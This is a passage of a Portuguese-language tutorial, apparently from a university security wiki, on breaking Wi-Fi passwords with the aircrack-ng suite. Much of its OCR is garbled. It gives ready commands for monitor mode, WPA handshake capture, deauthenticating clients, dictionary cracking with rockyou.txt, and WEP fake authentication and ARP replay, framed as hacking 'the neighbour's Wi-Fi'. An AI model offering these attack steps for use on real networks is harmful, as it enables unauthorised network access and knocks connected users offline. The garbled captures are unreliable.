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Wi-Fi



Crackeando WPA/WPA?2

Quebrar uma chave WPA é um processo ainda mais simples que o do WEP. Basta vocé capturar o
handshake quando alguém se conectar e usar algum método para quebrar essa chave. No
entanto, a chance de sucesso é menor, pois vocé precisa quebrar uma chave mais complexa de

tamanho variavel, entdao o tempo necessario depende da chave utilizada.

Capturando o handshake

Para capturar o handshake, basta utilizar o mesmo procedimento informado na introducao:

airodump-ng wlp8s0 -c 1 -w captura --bssid OC: 80: 63: 9E: FD: 3A onde:
wlp8s0 € a interface de rede (vocé deve altera-la para a sua)

-c identifica o canal

-w especifica o nome do arquivo

--bssid especifica o BSSID da rede para filtrar pacotes somente dela

No entanto, esse handshake sé acontece quando alguém se conecta na rede, entdo ou vocé fica
esperando isso acontecer, ou vocé forca alguém a ser desconectado para que quando ele se

reconectar vocé capture o pacote.

Quando o pacote for capturado, essa mensagem aparecera na parte superior do airodump:
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rlzbot : sudo airo dump-ng — Konso le

CH 1 ][ Elapsed: 30 s ][ 2019-02-28& 14:18 [ WPA handshake: 0C:B0:63

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

.20 96 297 : D 1 270 WPA2 CCMP  PSK Segurime
STATION ate Frames Probe

OC:80:63:9E:FD:3A OO0:AE:FA:67:CF:E8 -37 le-11 35 159

Kickando alguém

Para desconectar alguém, precisamos usar o aireplay novamente:

aireplay-ng -0 1 -a 00: 14: 6C: 7E: 40: 80 -c 00: OF: B5: FD: FB: C2 ath® onde:
-0 é o modo de desautenticacao
1 é a quantidade de pacotes a enviar -a é 0 BSSID da rede -c é o cliente que queremos

desconectar (note que se nao especificarmos um cliente, todos serdao desconectados)


https://wiki.imesec.ime.usp.br/uploads/images/gallery/2019-02-Feb/airodump4_marked.png

Para descobrir o MAC Address de algum cliente na rede, basta ver a parte de baixo do airodump:
rizbot ; sudao airo aump-ng — Konsole

CH 1 ][ Elapsed: 30 s ][ 2019-02-28 14:15

PWR RXQ Beacons #Data, #/s CH MB JENC CIPHER AUTH ESSID

-22 65 32 - 0 . WPAZ CCMP PSK Segurime

STATION ate Frames Probe

00:AE:FA:67:CF:E8 33 1e-11 28 141

Quebrando a chave usando aircrack

Podemos usar diversas ferramente para quebrar essa chave. No caso, vamos usar o aircrack. Para
iss0, vocé vai precisar de uma lista de senhas comuns, que vao ser testadas uma a uma. Uma boa
fonte de listas é a SkullSecurity, e no caso vamos usar a rockyou.txt. Basta usar o comando

aircrack-ng captura.cap -w rockyou. txt onde:

captura.cap € 0 arquivo capturado pelo airodump -w é a lista de senhas

Depois de um certo tempo, se a senha estiver na lista, vocé verd uma tela como essa, com a

senha desejada :)
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Wi-Fi

Introducao

Requisitos

Para comecar a hackear o Wi-Fi do vizinho (com a permissao dele, claro!) vocé vai precisar de:

® Um computador com Linux

® O pacote aircrack-ng

Uma placa de Wi-Fi compativel com o modo monitor

* Para alguns casos, uma placa de Wi-Fi compativel com injecdo de pacotes

Kernel do linux anterior ao 4.19 (o subsistema de rede dessa versao esta muito instavel,

principalmente no que diz respeito ao aircrack)

E possivel usar o Aircrack no Windows nativamente, ou usar uma méaquina virtual com o

passthrough de uma placa de rede, mas isso nao sera coberto por esse tutorial (por hora).

Note que quase todos os comandos dessa pagina devem ser executados como root.

Evitando interferéncias

Primeiramente, vocé precisa parar 0s processos que interferem com esse procedimento. Para ver
quais sao esses servicos, use o comando airmon-ng check .
No meu caso, em todos os sistemas que testei, eu sé precisei parar o servico do NetworkMonitor

(embora outros aparecessem na lista), usando o comando systemctl stop NetworkManager .

Colocando a placa em modo monitor

Em seqguida, vocé vai precisar colocar sua placa de rede no modo monitor. (0 airodump-ng que
vamos ver mais pra frente faz isso pra vocé, mas sé se tudo ja estiver certo). Use o comando
iwconfig para visualizar quais sao as interfaces de rede Wi-Fi disponiveis no seu computador.

Anote o nome dela, copie, decore e guarde no seu coracao, pois quase todos os comandos daqui



pra frente vao usar esse nome. No meu caso, o nome da minha placa é wlp8s6 . Logo, pra colocar

ela em modo monitor, precisamos executar:

ifconfig wlp8s0 down para desativa-la
iwconfig wlp8s0® mode monitor para mudar seu modo para monitor

ifconfig wlp8s0 up para ativa-la novamente

Testando e capturando

Com isso funcionando, vamos executar airodump-ng wlp8s0 (lembre-se se substituir wip8s0 pelo
nome da sua placa de rede). Se tudo der certo, vocé verd uma lista de redes disponiveis com seus

BSSIDs e canais, além de uma lista de clientes e as redes as quais eles estdo conectados.

CH 2 ][ Elapsed: 24 s ][ 2019-02-24 16:15
BSSID Beacons #Data, #/ MB ENC CIPHER AUTH ESSID

270 A2 PSK home-sweet-home
405 P P 5K PTL I

Sde Segurime

195 WP NETGEAR49

Sde CCMP SK  KENJIPOP

130 J CCN 5 PTL VIVOD

LED CCMP 5K <length: 32
130 SK  PTL SALA

195 W SK mkin2

130 WPA2 SK  VIVOFIBRA-ESBC
130 ( SKE  TEROHATA

270 A2 4 Kk TP-

1
0

[T =]

PWR late Lost

CANON

Guarde essas informacdes da rede que vocé quer atacar. No meu caso, vou atacar a rede
Segurime, entdo para salvar os pacotes no arquivo testel, sejam eles os IVs para crackear WEP ou
o handshake para crackear WPA (veja mais nas préximas paginas), o comando fica assim:
airodump-ng wlp8s0 -c 1 -w testel --bssid 0C: 80: 63: 9E: FD: 3A onde:

wlp8s0 ¢é a interface de rede (vocé deve altera-la para a sua)

-c¢ identifica o canal

-w
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especifica o nome do arquivo

--bssid especifica o BSSID da rede para filtrar pacotes somente dela

Esse comando deve continuar sendo executado até termos a senha do WEP ou o handshake do

WPA.



Crackeando WEP

Agora que vocé ja estda monitorando a rede desejada (como explicado na introdugao), vamos ao
gue realmente interessa. Para crackear a senha de uma rede WEP, vocé precisa de uma grande
guantidade de pacotes de dados (geralmente entre 50k e 100k). Vocé pode ver a quantidade de

pacotes de dados capturado na secao #Data do airodump.

[ Elapsed: 24 s ][ 2019-02-24 16:15
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Vocé pode simplesmente esperar que o trafego natural da rede gere-os pra vocé, ou vocé pode

injetar pacotes na rede para aumentar a velocidade da colegao de pacotes de dados.

Quebrando a chave

Se vocé ja tem uma grande quantidade de pacotes de dados, vocé pode tentar quebrar a chave

(senha) da rede. Isso é muito mais simples do que parece, gracas ao aircrack! Basta rodar o
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comando

aircrack-ng <arquivo .cap _salvo pelo airodump>

Repare que o airodump salva diversos arquivos se executado mais de uma vez com 0 mesmo
arquivo de saida. No nosso caso, precisamos executar aircrack-ng teste-07.cap pois executamos
o comando 7 vezes antes. Com isso, vocé verd uma tela "hacker" que foi usada em vérias cenas

de hacking em diversos filmes, e se obtiver sucesso, a chave vai aparecer logo abaixo:

Ozbot : bash — K

Aircrack-ng 1.5.2

[00:00:00] Tested 595 keys (got 75650 IVs)

depth

ors 8

0/

117 ) bG8 ) LB :
0/ y 4) 6A( )) F3(86 7 0) ) 9A(B3200)
4 4 ) 26(8 8 ) ( ) 83712) 59(83456)

KEY FOUND! [ 6C:6F:72:6F:7 :73:63:38 ] (ASCII: loroquerbiscd
Decrypted correctly: ;

[root@rO0znot wlanl# |

Se esse nao for o caso, vocé vera algo como:
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wilan : aircrack-ng — Konsole

Next try with 5000 IVs.

qgue significa que vocé nao capturou dados o suficiente

Injetando pacotes

Testando

Tudo que faremos daqui nessa secao pode ser detectado, entdao tome cuidado!

Primeiro, verifigue se sua placa de rede consegue injetar pacotes usando o comando

aireplay-ng -9 -e <nome _da rede> -a <bssid da rede> <interface de rede>
onde -9 é o modo teste do aireplay. Mais informacdes sobre os modos podem ser vistas usando o

comando aireplay-ng --help
Note que os argumentos entre chaves devem ser substituidos pelos seus valores, entao o

comando acima fica assim no nosso exemplo:
aireplay-ng -9 -e Segurime -a 0C: 80: 63: 9E: FD: 3A wlp8s0

Autenticacao fake

Nesse passo, vamos enganar o roteador a pensar que estamos autenticados na rede. I1sso ndo nos
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ajuda a acessar a rede em si, pois ndo sabemos a chave de criptografia dos pacotes, mas é Util

para que o roteador reenvie nossos pacotes. O comando para isso é:
aireplay-ng -1 6000 -0 1 -gq 10 -e <nome_da rede> -a <bssid da rede> -h

<mac_address da sua interface> <interface de rede> onde:
-1 6000 é o modo fakeauth, com 6000 segundos entre reautenticacées -o 1 envia apenas um
pacote de cada vez -q 10 envia pacotes keepalive a cada 10 segundos, mantendo sua

autenticacao valida.

Novamente, nosso comando pronto fica assim:
aireplay-ng -1 6000 -0 1 -q 10 -e Segurime -a 0C: 80: 63: 9E: FD: 3A -h 1la: 2d: d4: d5: 63: c8 wlp8s0

Com isso, vocé deve ver uma tela parecida com essa:

Waiting for beacon frame (BSSID: 0C:8 9E:CC:5F) on channel 1

Sending Authentication Request (Open System)
Authenti Lon successful
Sending -1ation Request

iat successful :-) (AID: 1)

Sending keep-alive packet
Sending keep-alive
Sending keep-alive p
Sending k -alive

'Endiné
ending

ending p ive packet
Sending alive packet
Sending 1
Sending
Sending 1

ding ive packet
Sending packet

Se a autenticacao nao foi bem sucedida, tente novamente com parametros diferentes (TODO).

Replay de pacotes

Agora ja podemos comecar a fazer replay de pacotes ARP para gerar trafego na rede. Eles vao ser
retransmitidos pelo roteador cada um com uma chave diferente, para capturar-mos uma

quantidade de pacotes diferentes maior.

Para isso, use o comando

aireplay-ng -3 -b <bssid da rede> -h <mac_address da sua _interface> <interface de rede>
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onde -3 é o modo ARP Replay do aireplay.

Ha& um porém. Vocé precisa primeiro capturar um pacote ARP para conseguir reenvia-lo a rede de
tal modo que ele seja considerado valido. Para isso, vocé precisa esperar que alguum cliente envie
um desses pacotes. Isso acontece relativamente frequentemente em uma rede movimentada
(quando alguém se conecta, por exemplo), mas se ndo tem ninguém conectado, ele nao vai ser

gerado nunca.

Forjando pacotes

Essa é a solucdo para o problema acima! Nés podemos forjar nosso préprio pacote ARP, mas para
isso precisamos quebrar a criptografia usada para criptografar algum dos pacotes. Ha dois
métodos de se fazer isso, mas eles dependem de vulnerabilidades de implementacdes do

protocolo WEP, entdao podem nao funcionar em roteadores mais recentes.



